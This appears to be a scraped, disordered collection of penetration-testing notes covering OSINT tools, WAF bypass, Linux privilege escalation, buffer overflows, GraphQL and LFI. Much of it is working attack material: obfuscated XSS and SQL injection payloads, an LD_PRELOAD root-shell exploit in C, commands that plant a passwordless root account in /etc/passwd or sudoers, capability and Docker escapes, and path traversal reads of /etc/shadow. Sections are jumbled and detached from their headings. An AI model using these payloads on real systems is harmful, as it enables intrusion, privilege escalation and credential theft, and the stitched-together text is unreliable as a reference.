    • MD5Decrypt SHA1 — SHA-1 Password decryption

    HIBP API keys

    Get emails of company with LinkedIn

    Search by Phone number

    Utils:

    • Moriarty — A utility for reverse searching by phone numbers, providing information about the owner, associated links, social network pages, and other relevant details

    • Phomber — Searches phone numbers on the internet and retrieves all available data

    • PhoneInfoga — A well-known tool for finding international phone numbers, providing standard information such as country, region, and carrier, and then searching for traces of it in search engines to help identify the owner.

    • — A utility for obtaining information from the GetContact application databases, albeit with limitations on parsing and requests.

  • It usually occurs due to malicious malware downloaded by the host and can happen regardless of the geographic location of the device.

  • How is it possible ?

    With RCE, hackers can edit or destroy important files, steal confidential data, perform DDoS (Distributed Denial of Service) attacks, and compromise the entire system.

    The attacks can be occurred due to:

    • External user input unchecked

    • Access control is poor

    • Authentication measures are not properly done

    • Buffer overflow.

    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    GitHub - sleventyeleven/linuxprivchecker: linuxprivchecker.py -- a Linux Privilege Escalation Check ScriptGitHub
    GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation ChecksGitHub
    https://pentestmonkey.net/tools/unix-privesc-check/unix-privesc-check-1.4.tar.gzpentestmonkey.net

    WAF Bypass

    Brief

    A WAF or web application firewall helps protect web applications by filtering and monitoring HTTP traffic between a web application and the Internet.

    It typically protects web applications from attacks such as cross-site forgery, cross-site-scripting (XSS), file inclusion, and SQL injection, among others.

    A WAF is a protocol layer 7 defense (in the OSI model), and is not designed to defend against all types of attacks. This method of attack mitigation is usually part of a suite of tools which together create a holistic defense against a range of attack vectors.

    Identify the WAF

    WAFs use standard ports : 80, 443, 8000, 8008, 8080, and 8088.

    Bypass techniques

    Case Toggling

    Combine upper and lower case characters for creating great payloads.

    Examples

    URL Encoding

    • Encode normal payloads with % encoding/URL encoding.

    • You can use Burp. It has an encoder/decoder tool.

    Examples

    Unicode

    • ASCII characters in Unicode encoding give us great variants for bypassing WAF.

    • Encode entire or part of the payload for obtaining results.

    Examples

    HTML Representation

    • WebApps encode special characters into HTML. Encoding and render them accordingly.

    • Basic bypass cases with HTML encoding numeric and generic.

    Examples

    Mixed Encoding

    • Such rules often tend to filter out a specific type of encoding.

    • Such filters can be bypassed by mixed encoding payloads.

    Examples

    Using comments

    • Comments obfuscate standard payload vectors.

    • Different payloads have different ways of obfuscation.

    Examples

    Double Encoding

    • Web Application Firewall filters tend to encode characters to protect web app.

    • Poorly developed filters (without recursion filters) can be bypassed with double encoding.

    Wildcard Obfuscation

    • Global patterns are used by various command-line utilities to work with multiple files.

    • We can change them to run system commands.

    Examples

    Junk Characters

    • Simple payloads get filtered out easily by WAF.

    • Adding some junk chars helps avoid detection (only specific cases ).

    Examples

    More

    Manual Checks

    Manual checks can help understand way more how attacks work. Check this out !

    Walkthrough

    SUDO

    User infos

    Kernel version

    Files, binaries and passwords

    Processes and ports

    CronTabs & Scheduled jobs

    File systems

    Applications

    Sessions

    Memory

    Files permissions

    If you fin something interesting, check .

    SUID / SGID / GUID

    Capabilities

    Check for files with capabilities. These may allow us to access restricted files or directories. Having the capability =ep means the binary has all the capabilities.

    Capabilities list

    Capabilities name
    Description

    Docker

    More about Docker

    Lab: Exploiting XXE via image file upload | Web Security AcademyWebSecAcademy
    Lab XXE File Upload
    GitHub - sAjibuu/Upload_Bypass: A simple tool for bypassing file upload restrictions.GitHub
    Logo
    https://thedarksource.com/sqlmap-cheat-sheetthedarksource.com
    SQLMap cheatsheet
    Dumping tables using sqlmap;--Ravinder Nehra
    GitHub - franc-pentest/ldeep: In-depth ldap enumeration utilityGitHub
    GitHub - dirkjanm/ldapdomaindump: Active Directory information dumper via LDAPGitHub
    Intelligence Xintelx.io
    GitHub - lefayjey/linWinPwn: linWinPwn is a bash script that streamlines the use of a number of Active Directory toolsGitHub
    GitHub - huntergregal/mimipenguin: A tool to dump the login password from the current linux userGitHub
    GitHub - payloadbox/sql-injection-payload-list: 🎯 SQL Injection Payload ListGitHub
    Payload list
    # LinkedinMama3 - https://github.com/h0useh3ad/LinkedinMama3
    git clone https://github.com/h0useh3ad/LinkedinMama3.git
    cd LinkedinMama3/
    pip3 install -r requirements.txt
    
    python3 LinkedinMama3.py -k $company_name -e $company_domain -n $email_format -c $linkedin_company_ID
    
    # check if some are pwned - https://github.com/thewhiteh4t/pwnedOrNot
    git clone https://github.com/thewhiteh4t/pwnedOrNot.git
    cd pwnedOrNot/
    chmod +x install.sh
    ./install.sh
    
    nano config.json # add hibp api key
    python3 pwnedornot.py -f mails-list.txt
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Newlines and tabs and further add to obfuscation.
    This technique often helps in confusing regex-based firewalls.
    Popular WAF vendors

    CAP_FOWNER

    This enables bypass of permission checks on operations that normally require the filesystem UID of the process to match the UID of the file

    CAP_KILL

    Allow the sending of signals to processes belonging to others

    CAP_SETGID

    Allow changing of the GID

    CAP_SETUID

    Allow changing of the UID

    CAP_SETPCAP

    Helps to transferring and removal of current set to any PID

    CAP_IPC_LOCK

    This helps to lock memory

    CAP_MAC_ADMIN

    Allow MAC configuration or state changes

    CAP_NET_RAW

    Use RAW and PACKET sockets

    CAP_NET_BIND_SERVICE

    SERVICE Bind a socket to internet domain privileged ports

    CAP_AUDIT_CONTROL

    Allow to enable/disable kernel auditing

    CAP_AUDIT_WRITE

    Helps to write records to kernel auditing log

    CAP_BLOCK_SUSPEND

    This feature can block system suspends

    CAP_CHOWN

    Allow user to make arbitrary change to files UIDs and GIDs

    CAP_DAC_OVERRIDE

    This helps to bypass file read, write and execute permission checks

    CAP_DAC_READ_SEARCH

    This only bypasses file and directory read/execute permission checks

    GTFOBins
    GitHub - stealthcopter/deepce: Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)GitHub
    User Searcher
    CheckUserNames
    Instant Username Search
    Namecheckr
    peekyou
    usersearch
    WebResolser
    Maigret
    Social Analyzer
    NExfil
    SPY
    Blackbird
    Marple
    GHunt
    UserFinder
    Simple Email Reputation
    kovinevmv/getcontact
    Logo
    Logo
    Logo
    Logo

    Fundamentals

    Buffer overflows are errors that allow data that is too large to fit into a buffer of the operating system's memory that is not large enough, thereby overflowing this buffer. As a result of this mishandling, the memory of other functions of the executed program is overwritten, potentially creating a security vulnerability.

    File formats binary :

    • Portable Executable Format (PE) - Microsoft Platforms

    • Executable and Linking Format (ELF) - UNIX

    The Memory

    • .text : contains the actual assembler instructions of the program. This area can be read-only to prevent the process from accidentally modifying its instructions. Any attempt to write to this area will inevitably result in a segmentation fault.

    • .data : contains global and static variables that are explicitly initialized by the program.

    • .bss : Several compilers and linkers use the .bss section as part of the data segment, which contains statically allocated variables represented exclusively by 0 bits.

    About Stack

    Modern memory protections (DEP/ASLR) would prevent the damaged caused by buffer overflows. DEP (Data Execution Prevention), marked regions of memory "Read-Only". The read-only memory regions is where some user-input is stored (Example: The Stack), so the idea behind DEP was to prevent users from uploading shellcode to memory and then setting the instruction pointer to the shellcode. Hackers started utilizing ROP (Return Oriented Programming) to get around this, as it allowed them to upload the shellcode to an executable space and use existing calls to execute it. With ROP, the attacker needs to know the memory addresses where things are stored, so the defense against it was to implement ASLR (Address Space Layout Randomization) which randomizes where everything is stored making ROP more difficult.

    Vulnerable functions in C

    • strcpy

    • gets

    • sprintf

    • scanf

    CPU Registers

    Data registers

    32-bit Register
    64-bit Register
    Description

    Pointer registers

    32-bit Register
    64-bit Register
    Description

    Stack frames

    Since the stack starts with a high address and grows down to low memory addresses as values are added, the Base Pointer points to the beginning (base) of the stack in contrast to the Stack Pointer, which points to the top of the stack.

    As the stack grows, it is logically divided into regions called Stack Frames, which allocate the required memory in the stack for the corresponding function. A stack frame defines a frame of data with the beginning (EBP) and the end (ESP) that is pushed onto the stack when a function is called.

    Prevention

    Canaries

    The canaries are known values written to the stack between buffer and control data to detect buffer overflows. The principle is that in case of a buffer overflow, the canary would be overwritten first and that the operating system checks during runtime that the canary is present and unaltered.

    Address Space Layout Randomization (ASLR)

    Address Space Layout Randomization (ASLR) is a security mechanism against buffer overflows. It makes some types of attacks more difficult by making it difficult to find target addresses in memory. The operating system uses ASLR to hide the relevant memory addresses from us. So the addresses need to be guessed, where a wrong address most likely causes a crash of the program, and accordingly, only one attempt exists.

    Data Execution Prevention (DEP)

    DEP is a security feature available in Windows XP, and later with Service Pack 2 (SP2) and above, programs are monitored during execution to ensure that they access memory areas cleanly. DEP terminates the program if a program attempts to call or access the program code in an unauthorized manner.

    Containers

    An even further defense mechanism is called a container, which is another layer of Data Execution Prevention. The container attempts to identify all possible results of code from data within the buffer (or the data segment) and then prevent the application from calling external functions in shared objects from the inside of the buffer. A version of this has been implemented in Cisco Security Agent, or CSA. Linux's GrSec and PaX kernel patches also implement their own version of contained memory space.

    Directory/Files Scanners

    gobuster

    A tool used to brute-force URIs (directories and files), DNS subdomains and virtual host names.

    🔵 Modules

    GoBuster has a couple of modules and each module has its own flags :

    🏳️ Flags

    Examples

    Feroxbuster

    A simple, fast, recursive content discovery tool written in Rust.

    HTTP

    HTTPS

    Wfuzz

    The web bruteforcer

    🖱️ Commands

    Page not found - HackTricksbook.hacktricks.xyz
    HackTrickz - SSTI
    GitHub - vladko312/SSTImap: Automatic SSTI detection tool with interactive interfaceGitHub
    API — Jinja Documentation (3.1.x)jinja.palletsprojects.com
    Syntax
    GitHub - owasp-amass/amass: In-depth attack surface mapping and asset discoveryGitHub
    network mapping of attack surfaces and external asset discovery
    https://www.shodan.iowww.shodan.io
    SecurityTrails | SecurityTrails: Data Security, Threat Hunting, and Attack Surface Management Solutions for Security Teamssecuritytrails
    Wayback Machinearchive.org
    Censys SearchCensys
    GitHub - aboul3la/Sublist3r: Fast subdomains enumeration tool for penetration testersGitHub
    enumerate subdomains of websites
    GitHub - lanmaster53/recon-ng: Open Source Intelligence gathering tool aimed at reducing the time spent harvesting information from open sources.GitHub
    web-based reconnaissance
    GitHub - saladandonionrings/NextGen-HeadersScanner: Python HTTP Security Header ScannerGitHub
    HTTP SECURITY HEADERS SCANNER - Python
    GitHub - saladandonionrings/iOS-Binary-Security-Analyzer: Uncover usage of insecure functions, implementation of weak cryptography, encryption status, and the presence of security features like Position Independent Executable (PIE), Stack Canaries, and Automatic Reference Counting (ARC) in iOS Applications Binaries.GitHub
    IOS BINARY SECURITY ANALYZER - bash

    GraphQL

    GraphQL is a query language and server-side runtime for application programming interfaces (APIs) that prioritizes giving clients exactly the data they request and no more.

    GraphQL is designed to make APIs fast, flexible, and developer-friendly. It can even be deployed within an integrated development environment (IDE) known as GraphiQL. As an alternative to REST, GraphQL lets developers construct requests that pull data from multiple data sources in a single API call.

    alert() is dead, long live print()PortSwigger Research
    wafw00f $target
    # detecting the waf
    nmap -p$port --script http-waf-detect $target
    
    # fingerprinting the waf
    nmap -p$port --script http-waf-fingerprint $target
    # bypassed 
    <ScrIpT>confirm()</sCRiPt>
    sELeCt * fRoM * wHerE OWNER = 'NAME_OF_DB'
    
    # url example
    http://example.com/index.php?page_id=-1 UnIoN SeLeCT 1,2,3,4
    # blocked by waf
    <Svg/x=">"/OnLoAD=confirm()//
    # bypassed
    %3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F
    
    # blocked by waf
    UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)
    # bypassed
    UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29
    
    # url example
    https://example.com/page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
    # basic request
    <marquee onstart=prompt()>
    
    # obfuscated
    <marquee onstart=\u0070r\u06f\u006dpt()>
    
    # blocked by waf
    /?redir=http://google.com
    
    # bypassed
    /?redir=http://google。com (Unicode alternative)
    
    # blocked by waf
    <marquee loop=1 onfinish=alert()>x
    
    # bypassed
    <marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)
    
    # basic request
    ../../etc/shadow
    
    # obfuscated
    %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow
    # basic request
    "><img src=x onerror=confirm()>
    
    # encoded payload
    &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; 
    # or
    &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; 
    # obfuscated payload
    <A HREF="h
    tt p://6 6.000146.0x7.147/">XSS</A>
    # blocked by waf
    <script>confirm()</script>
    
    # bypassed
    <!--><script>confirm/**/()/**/</script>
    
    # blocked by waf
    /?id=1+union+select+1,2--
    
    # bypassed
    /?id=1+un/**/ion+sel/**/ect+1,2--
    
    # url example
    index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4'union%a0select pass from users#
    
    index.php?page_id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
    # basic request
    http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
    
    # obfuscated payload
    http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\
    
    # basic payload
    <script>confirm()</script>
    
    # obfuscated payload
    %253Cscript%253Econfirm()%253C%252Fscript%253E
    # basic request
    /bin/cat /etc/passwd
    
    # obfuscated payload
    /???/??t /???/??ss??
    
    # used chars
    / ? t s
    
    # basic request
    /bin/nc 127.0.0.1 443
    
    # obfuscated payload
    /???/n? 2130706433 443
    
    # used chars
    / ? n [0-9]
    # basic request
    <script>confirm()</script>
    
    # obfuscated payload
    <script>+-+-1-+-+confirm()</script>
    
    # basic request
    <BODY onload=confirm()>
    
    # obfuscated payload
    <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>
    
    # basic request
    <a href=javascript;alert()>ClickMe
    
    # bypassed technique
    <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
    # check sudo version for exploits
    sudo -V | grep “Sudo ver”
    
    # check rights
    sudo -l
    # gtfobins !
    
    # sudo LD_PRELOAD
    Defaults        env_keep += LD_PRELOAD
    
    # COMPILE /tmp/exploit.c :
    
    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>
    #include <unistd.h>
    void _init() {
    	unsetenv("LD_PRELOAD");
    	setgid(0);
    	setuid(0);
    	system("/bin/sh");
    }
    
    # with :
    
    gcc -fPIC -shared -o shell.so shell.c -nostartfiles
    
    # Execute any binary with the LD_PRELOAD to spawn a shell : 
    
    sudo LD_PRELOAD=<full_path_to_so_file> <program>
    sudo LD_PRELOAD=/tmp/shell.so find
    
    # sudo_inject | https://github.com/nongiach/sudo_inject
    
    # requirements : 
    #    Ptrace fully enabled (/proc/sys/kernel/yama/ptrace_scope == 0).
    #    Current user must have living process that has a valid sudo token with the same uid.
    
    sudo whatever
    sh exploit.sh
    
    # wait
    sudo -i
    # root !
    id
    wwhoami
    w
    last
    cat /etc/passwd
    cat /etc/sudoers
    cat /etc/group
    uname -a 
    lsb_release -a
    cat /proc/version /etc/issue /etc/*-release
    # check for cves
    ls -la ~/ 
    ls -la /var/mail /home/*/ /var/spool/mail /home/*/.bash_history /var
    
    # check those files for hashes
    cat /etc/passwd
    cat /etc/shadow
    ls -la /etc/passwd /etc/shadow
    
    # can we write to the .bashsrc file ? if so, can be executed when us logs in
    ls -la /root/.bashrc 
    ls -la /home/*/.bashrc
    locate .bashrc
    find / -name .bashrc -xdev 2>/dev/null
    # something is running that we can exploit ?
    ps aux | grep root
    
    # localhost open ports ?
    netstat -antup
    
    # any useful info in the main bash user files ?
    cat /etc/profile 
    cat /etc/bashrc
    cat ~/.bash_profile
    cat ~/.bashrc
    cat ~/.bash_logout
    # check for cronjobs
    crontab -l 
    ls -alh /var/spool/cron
    ls -al /etc/ | grep cron; ls -al /etc/cron*
    cat /etc/cron*
    cat /etc/at.allow
    cat /etc/at.deny
    cat /etc/cron.allow
    cat /etc/cron.deny
    cat /etc/crontab
    cat /etc/anacrontab
    cat /var/spool/cron/crontabs/root
    
    # PSPY to to see commands run by other users, cron jobs, etc. in real time
    ./pspy > pspy-out.txt
    # unmounted file-systems ?
    cat /etc/fstab
    
    # If NFS is open, check if the target has any open NFS shares, if it does, then mount it to your filesystem
    showmount -e X.X.X.X
    mount X.X.X.X:/ /tmp/mount1
    # check installed apps + versions + running ?
    ls -alh /usr/bin/ /sbin/ /var/cache/apt/archives /var/cache/yum/
    dpkg -l
    rpm -qa
    # Any useful applications installed? 
    which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp tmux screen nmap 2>/dev/null
    # can we hijack any shell sessions ?
    tmux ls
    tmux attach -t tmuxname 
    screen -ls
    screen-dr sessionname
    byobu list-session
    # some services can save clear-text creds in memory
    ps aux # grab the process id
    gdb -p SERVICE; gdb PROCID
    
    # in memory passwords
    strings /dev/mem -n10 | grep -i PASS
    # Files containing passwords
    grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
    find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
    
    # ssh
    find / -name authorized_keys 2> /dev/null
    find / -name id_rsa 2> /dev/null
    
    # World writable files on the system
    find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
    find / -perm -2 -type f 2>/dev/null
    find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
    
    # writable /etc/passwd
    # add :
    echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
    su - dummy
    
    # writable /etc/sudoers
    echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers
    
    # use SUDO without password
    echo "username ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers
    echo "username ALL=NOPASSWD: /bin/bash" >>/etc/sudoers
    
    # World executable folder
    find / -perm -o x -type d 2>/dev/null
    
    # World writable and executable folders
    find / \( -perm -o w -perm -o x \) -type d 2>/dev/null
    # SUID / SGID
    find / -perm -u=s -type f 2>/dev/null | xargs ls -l
    find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
    find / -uid 0 -perm -4000 -type f 2>/dev/null 
    find / -perm -g=s -type f 2>/dev/null | xargs ls -l
    find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null
    
    # Look for any binaries that seem odd. Any binaries running from a users home directory?
    # Check the version of any odd binaries and see if there are any public exploits that can be used to gain root
    
    # SUID PATH
    echo $PATH
    env | grep PATH
    print $PATH
    /usr/bin/getcap -r  /usr/bin
    getcap -r / 2>/dev/null
    
    ## Interesting capabilities
    getcap openssl /usr/bin/openssl 
    openssl=ep
    #  the following capabilities can be used in order to upgrade your current privileges.
    cap_dac_read_search # read anything
    cap_setuid+ep # setuid
    
    # EXAMPLES
    # 1
    # linpeas /usr/local/bin/ruby = cap_chown+ep 
    echo 'File.chown(<User ID>, nil, "/etc/shadow")' > exploit.rb 
    ruby exploit.rb 
    chmod 777 /etc/shadow
    nano /etc/shadow
    
    # 2
    # cap_setuid+ep python2.7
    python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
    sh-5.0# id
    uid=0(root) gid=1000(swissky)
    docker run -it -v /:/mnt bash chroot
    
    docker run -v /root:/mnt -it bash
    Logo
    Logo

    Heap : is allocated from this area. This area starts at the end of the ".bss" segment and grows to the higher memory addresses.

  • Stack : is a Last-In-First-Out data structure in which the return addresses, parameters, and, depending on the compiler options, frame pointers are stored. C/C++ local variables are stored here, and you can even copy code to the stack. The Stack is a defined area in RAM. The linker reserves this area and usually places the stack in RAM's lower area above the global and static variables. The contents are accessed via the stack pointer, set to the upper end of the stack during initialization. During execution, the allocated part of the stack grows down to the lower memory addresses.

  • strcat

    RDX

    Data is used for I/O and in arithmetic operations for multiply and divide operations involving large values

    EAX

    RAX

    Accumulator is used in input/output and for arithmetic operations

    EBX

    RBX

    Base is used in indexed addressing

    ECX

    RCX

    Counter is used to rotate instructions and count loops

    EIP

    RIP

    Instruction Pointer for the stack. In other words, it tells the computer where to go next to execute the next command and controls the flow of a program.

    ESP

    RSP

    Stack Pointer points to the top of the stack

    EBP

    RBP

    Base Pointer is also known as Stack Base Pointer or Frame Pointer thats points to the base of the stack ; it stores the address of the beginning of the stack frame. Thus, the current stack frame is located between the address contained in EBP and the address contained in ESP.

    memory
    stack

    EDX

    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Tools

    graphinder

    graphqlmap

    Introspection enabled

    Send this :

    Introspection not enabled

    Fuzz

    Dump DB schema

    List path

    Vulnerabilities

    • SQL Injection: simple but classic, try SQL and NoSQL injection in fields values,

      • Send a single quote ' inside a graphql parameter to trigger the SQL injection

    • Debug & information disclosure: Insert bad characters in object or fields name, sometimes DEBUG mode is activated and even if you have a 403 status, you could have a good surprise,

    • Batching Attack: Batching is the process of taking a group of requests, combining them into one, and making a single request with the same data that all of the other queries would have made (more here). When authentication process is used with GraphQL, batch attack can be performed to simultaneously sending many queries with different credentials, it’s like a bruteforce attack but only with one request. Also, batch attack can be used against 2FA authentication, to bypass rate-limit (if it’s based on number of query by IP for example). More : https://lab.wallarm.com/graphql-batching-attack/

    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Using Burp to find Clickjacking Vulnerabilities - PortSwiggerportswigger.net

    LFI

    Local File Inclusions (LFI)

    What is LFI ?

    An attacker can use Local File Inclusion (LFI) to trick the web application into exposing or running files on the web server. An LFI attack may lead to information disclosure, remote code execution, or even XSS.

    Typically, LFI occurs when an application uses the path to a file as input. If the application treats this input as trusted, a local file may be used in the include statement.

    Check for LFI

    The following is an example of PHP code that is vulnerable to LFI.

    • GET parameter in url

    Payloads

    FUZZ LFI ENDPOINTS

    PHP Wrapper

    • Used to read .PHP files. It is not possible to read a PHP file's content via LFI because PHP files get executed and never show the existing code. We can use the PHP filter to display the content of PHP files in other encoding formats such as base64 or ROT13.

    Commands

    LFI 2 RCE

    /proc/self/environ

    Like a log file :

    Via Apache Log Files

    via SSH

    via MAIL

    First send an email using the open SMTP then include the log file located at http://example.com/index.php?page=/var/log/mail.

    In some cases you can also send the email with the mail command line.

    Via DNS

    Check for :

    Change the DNS record via nsupdate

    GitHub - saladandonionrings/NextGen-Spoofer: NextGenSpoofer is a Python ARP/DNS Spoofer made with love <3GitHub
    ARP & DNS SPOOFER - Python
    GitHub - saladandonionrings/leaky: Leaky is a powerful toolkit designed to import, manage, search, and visualize massive data leaks — including stealer logs, credential dumps, and miscellaneous leak data — within a streamlined web interface powered by MongoDB.GitHub
    LEAKY - for db leaks
    xss-payload-list/Intruder/xss-payload-list.txt at master · payloadbox/xss-payload-listGitHub
    XSS payloads
    Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security AcademyWebSecAcademy
    XSS cheatsheet
    Logo
    GitHub - ShutdownRepo/httpmethods: HTTP verb tampering & methods enumerationGitHub
    GitHub - C0MPL3XDEV/E4GL30S1NT: E4GL30S1NT - Simple Information Gathering ToolGitHub
    🔥HOW TO FIND OUT ANYTHING ABOUT A PERSON | THE BEST TUTORIAL YOU CAN FINDHacksNation - A Place Where Everyone Can Learn
    Osintrackerapp.osintracker.com
    Logo
    Logo
    Logo
    Delegations | The Hacker Recipeswww.thehacker.recipes
    pip install graphinder
    # using specific python binary
    python3 -m pip install graphinder
    
    graphinder -d $domain
    # installation
    git clone https://github.com/swisskyrepo/GraphQLmap.git
    cd GraphQLmap/
    python setup.py install
    # usage
    graphqlmap -h
    {__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
    # url encoded
    fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
    
    # full
    fragment FullType on __Type {
      kind
      name
      description
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }
    fragment InputValue on __InputValue {
      name
      description
      type {
        ...TypeRef
      }
      defaultValue
    }
    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
                ofType {
                  kind
                  name
                  ofType {
                    kind
                    name
                  }
                }
              }
            }
          }
        }
      }
    }
    
    query IntrospectionQuery {
      __schema {
        queryType {
          name
        }
        mutationType {
          name
        }
        types {
          ...FullType
        }
        directives {
          name
          description
          locations
          args {
            ...InputValue
          }
        }
      }
    }
    git clone https://gitlab.com/dee-see/graphql-path-enum.git
    cd graphql-path-enum/
    graphql-path-enum --help
    dir # uses directory/file enumeration mode
    dns # uses dns subdomain enumeration mode
    fuzz # uses fuzzing mode
    help # help about any command
    s3 # uses aws bucket enumeration mode
    version # shows the current version
    vhost # uses vhost enumeration mode
    --delay <duration> # Time each thread waits between requests (e.g. 1500ms)
    -h # help for gobuster
    --no-error # Don't display errors
    -z # Don't display progress
    -o <string> # Output file to write results
    -p <string> # File containing replacement patterns
    -q # Don't print the banner and other noise
    -t <int> # Number of concurrent threads (default 10)
    -v # Verbose output (errors)
    -w <string> # Path to the wordlist
    # discover txt,html,js,json,php,py files
    gobuster dir -u http://0.0.0.0 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,js,json,php,py
    
    # exclude 403,404 codes
    gobuster dir -u http://0.0.0.0 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 403 404
    
    # discover 0.0.0.0 subdomains 
    gobuster dns -d http://0.0.0.0 -w /usr/share/SecLists/Discovery/DNS/namelist.txt
    
    # discover txt,html,js,json,php,py files using a proxy connection
    gobuster dir -u http://0.0.0.0 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,js,json,php,py --proxy http://127.0.0.1:8081
    #seclist
    feroxbuster -t 10 -u http://0.0.0.0 -w /usr/share/seclists/Discovery/Web-Content/common.txt -o feroxbuster
    
    #dirbuster
    feroxbuster -t 10 -u http://0.0.0.0 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o feroxbuster
    
    feroxbuster -t 10 -u http://0.0.0.0 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x py,html,txt -o feroxbuster
    feroxbuster -t 10 -u https://0.0.0.0 -k -w /usr/share/seclists/Discovery/Web-Content/common.txt -o feroxbuster
    
    feroxbuster -t 10 -u https://0.0.0.0 -k -w /usr/share/seclists/Discovery/Web-Content/common.txt -x py,html,txt -o feroxbuster
    # search for directories & put 404 responses away
    wfuzz -w  /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  --hc 404 http://0.0.0.0/FUZZ
    
    # search for php files
    wfuzz -w wordlist/general/common.txt http://0.0.0.0/FUZZ.php
    
    # use 2 wordlists for user & pass & put 302 responses away
    wfuzz -z file,/usr/share/wordlists/rockyou.txt -d "uname=FUZZ&pass=FUZZ"  --hc 302 http://0.0.0.0/userinfo.php	
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    https://kayran.io/blog/web-vulnerabilities/sqli-to-rcekayran.io
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Page not found - HackTricksbook.hacktricks.xyz
    Docker Escape | Red Squadbook.redsquad.xyz
    GitHubGitHub
    Visit this and check for API keys
    Logo
    How to Bypass WAF. HackenProof Cheat SheetHacken
    More | WAF Bypass Techniques
    YesWeHack Blog | Cybersecurity Insights and Bug Bounty TrendsYesWeHack
    YesWeHack | WAF Bypass
    Bypass WAFportswigger.net
    PortSwigger | WAF Bypass with BApp
    Logo
    Logo
    How to find RCE in scripts (with examples)Exploit Database
    /**
    * Get the filename from a GET input
    * Example - http://example.com/?file=filename.php
    */
    $file = $_GET['file'];
    
    /**
    * Unsafely include the file
    * Example - filename.php
    */
    include('directory/' . $file);
    http://example.com/index.php?page=../../../etc/passwd
    http://example.thm.labs/page.php?file=/etc/passwd 
    
    # NULL BYTE
    http://example.thm.labs/page.php?file=../../../../../../etc/passwd%00 
    
    # FILTER BYPASS TRICKS
    http://example.com/index.php?page=....//....//etc/passwd
